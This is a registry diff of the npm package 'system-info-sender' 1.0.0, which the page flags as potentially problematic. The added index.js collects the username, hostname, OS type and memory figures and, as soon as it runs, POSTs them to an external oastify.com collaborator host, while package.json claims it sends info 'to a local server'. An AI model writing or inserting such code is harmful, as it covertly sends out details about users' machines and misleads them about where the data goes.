system-info-sender 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of system-info-sender might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +43 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,43 @@
1
+ const os = require('os');
2
+ const fetch = require('node-fetch');
3
+
4
+ async function sendSystemInfo() {
5
+ const userInfo = os.userInfo();
6
+ const freeMemory = os.freemem();
7
+ const totalMemory = os.totalmem();
8
+ const systemType = os.type();
9
+ const platform = os.platform();
10
+ const hostname = os.hostname();
11
+
12
+ // Расчёт процента свободной памяти
13
+ const freeMemoryPercentage = (freeMemory / totalMemory) * 100;
14
+
15
+ const data = {
16
+ username: userInfo.username,
17
+ freeMemory,
18
+ totalMemory,
19
+ freeMemoryPercentage: freeMemoryPercentage.toFixed(2), // Округление до двух знаков после запятой
20
+ systemType,
21
+ platform,
22
+ hostname
23
+ };
24
+
25
+ try {
26
+ const response = await fetch('https://468w6vtzmydqseopu3lrlwh6nxtphf54.oastify.com', {
27
+ method: 'POST',
28
+ headers: {
29
+ 'Content-Type': 'application/json'
30
+ },
31
+ body: JSON.stringify(data)
32
+ });
33
+ if (!response.ok) {
34
+ throw new Error('Network response was not ok');
35
+ }
36
+ console.log('Data sent successfully:', data);
37
+ } catch (error) {
38
+ console.error('Failed to send data:', error);
39
+ }
40
+ }
41
+
42
+ sendSystemInfo();
43
+
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "system-info-sender",
3
+ "version": "1.0.0",
4
+ "description": "Send system info to a local server",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "dependencies": {
10
+ "node-fetch": "^2.6.7"
11
+ },
12
+ "author": "",
13
+ "license": "ISC"
14
+ }
15
+